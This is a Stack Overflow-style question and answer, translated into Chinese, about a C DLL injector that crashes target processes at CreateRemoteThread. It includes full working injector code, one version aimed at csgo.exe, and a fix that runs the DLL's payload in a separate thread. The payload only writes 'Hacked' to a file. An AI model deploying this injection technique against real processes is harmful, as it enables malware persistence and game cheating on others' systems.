【问题标题】:Process Injector Crashes on CreateRemoteThreadCreateRemoteThread 上的进程注入器崩溃
【发布时间】:2019-10-14 05:21:01
【问题描述】:

我在 C 中创建了一个进程 DLL 注入器用于检测工程目的,它似乎在我在 shell 中生成的测试进程上工作得很好(可能是因为它们在同一路径中,或者与非 shell 和 printf 的东西)但是每当我在随机进程上对其进行测试时,它都会在 CreateRemoteThread 步骤中使所述进程崩溃,想知道你们是否可以提供帮助,谢谢。

如果有帮助,这是我使用的命令(Bash): ./ProcessInjector.exe [PID] C:\Users\wsam\Documents\Process-Injection\bad_dll.dll

编辑:我注意到如果我取出 bad_dll.dll 循环中的所有代码,它会成功创建线程并且不会使进程崩溃,这是为什么呢?

ProcessInjector.c

#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <tlhelp32.h>

int main(int argc, char* argv[]){
    char dllPath[MAX_PATH];
    strcpy(dllPath, argv[2]);

    printf("Victim PID      : %s\n", argv[1]);
    // use full or relative path
    printf("DLL to inject   : %s\n", argv[2]);

    // get Handle from proc id
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
    if (hProcess == NULL) {
        printf("[---] Failed to open process %s.\n", argv[1]);
        return 1;
    }

    printf("Press Enter to attempt DLL injection.");
    getchar();

    // Allocate memory for DLL's path
    LPVOID dllPathAlloc = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(dllPathAlloc == NULL){
        printf("[---] VirtualAllocEx unsuccessful.\n");
        getchar();
        return 1;
    }

    // Write path to memory
    BOOL pathWrote = WriteProcessMemory(hProcess, dllPathAlloc, dllPath, strlen(dllPath), NULL);
    if(!pathWrote){
        printf("[---] WriteProcessMemory unsuccessful.\n");
        getchar();
        return 1;
    }

    // returns pointer to LoadLibrary address, same in every process.
    LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if(loadLibraryAddress == NULL){
        printf("[---] LoadLibrary not found in process.\n");
        getchar();
        return 1;
    }

    // creates remote thread and start mal dll
    HANDLE remoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAlloc, 0, NULL);
    if(remoteThread == NULL){
        printf("[---] CreateRemoteThread unsuccessful.\n");
        getchar();
        return 1;
    }
    //Start-Address:kernel32.dll!LoadLibraryA

    CloseHandle(hProcess);
    return 0;
}

bad_dll.c

#include <windows.h>
#include <stdio.h>
#include <unistd.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
    FILE * fp;
    fp = fopen ("C:\\Users\\wsam\\Documents\\Hacked.txt","w");
    fprintf (fp, "Hacked\n");
    fclose (fp);

    while(1){
        printf("HACKED\n");
        fflush(stdout);
        sleep(1);
    }
}

【问题讨论】:

  • 我不知道这是否是(唯一的)问题,但请注意 strlen 不包含终止空字符。
  • 这是一个非常紧凑的循环。
  • 我敢打赌 ABI 与目标进程的 CRT 实现不兼容。您是否尝试过静态链接您的 DLL?
  • @DarkFalcon 我相信你是对的,目前我正在使用两个 gcc 命令 gcc -c -fPIC bad_dll.cgcc -shared -o bad_dll.dll bad_dll.o 编译我的 DLL,但如果我取出 -shared 我会得到一个编译时错误,并添加 -静态不起作用。我不知道如何静态链接一个dll,你知道gcc选项吗?
  • 也添加了更多上下文我正在使用 cywgin 运行 gcc 命令,并且在使用 -static 进行编译时,注入时远程进程仍然会崩溃

标签: c windows process malware penetration-testing


【解决方案1】:

这是我使用 VirtualAllocEx、CreateRemoteThread 和 LoadLibrary 的 dll 注入器的基本示例:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

DWORD GetPid(char * targetProcess)
{
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap && snap != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(pe);
        if (Process32First(snap, &pe))
        {
            do
            {
                if (!_stricmp(pe.szExeFile, targetProcess))
                {
                    CloseHandle(snap);
                    return pe.th32ProcessID;
                }
            } while (Process32Next(snap, &pe));
        }
    }
    return 0;
}

int main()
{
    char * dllpath = "C:\\Users\\me\\Desktop\\dll.dll";
    char * processToInject = "csgo.exe";
    long pid = 0;
    while (!pid)
    {
        pid = GetPid(processToInject);
        Sleep(10);
    }

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
    if (hProc && hProc != INVALID_HANDLE_VALUE)
    {
            void * loc = VirtualAllocEx(hProc, 0, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            WriteProcessMemory(hProc, loc, dllpath, strlen(dllpath) + 1, 0);        
            HANDLE hThread = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, loc, 0, 0);
            CloseHandle(hThread);
    }

    CloseHandle(hProc);
    return 0;
}

此代码包括获取路径字符串的空终止符:

strlen(dllpath) + 1

编辑:我注意到如果我取出 bad_dll.dll while 循环中的所有代码 它成功创建了一个线程并且没有使进程崩溃,为什么 那个?

我相信您在 DllMain 中的无限循环是您的问题的原因,它永远不会返回。当您删除循环中的代码时,您的编译器正在优化循环,因此它停止崩溃。

每个人都说永远不要从 DllMain 调用 CreateThread(),但数百万人这样做没有任何问题。问题在于加载程序死锁,但我已经注入 DLL 5 年了,从来没有遇到过一个问题,那就是我的经验,我的信念源于经验。您至少应该通过阅读和关注this question 中的链接来了解可能存在的问题。

忽略 DLLMain 中的所有 CRT,我建议你这样做:

DWORD __stdcall hackthread(HMODULE hModule)
{
    FILE * fp;
    fp = fopen ("C:\\Users\\wsam\\Documents\\Hacked.txt","w");
    fprintf (fp, "Hacked\n");
    fclose (fp);

    while(1){
        printf("HACKED\n");
        fflush(stdout);
        sleep(1);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, PVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)hackthread, hModule, 0, nullptr);
        CloseHandle(hThread);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

以这种方式,CreateThread 和 DllMain 都有 99.9999% 的时间返回。

这是基于我的经验的概念证明。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-08-02
    • 1970-01-01
    • 2014-05-10
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多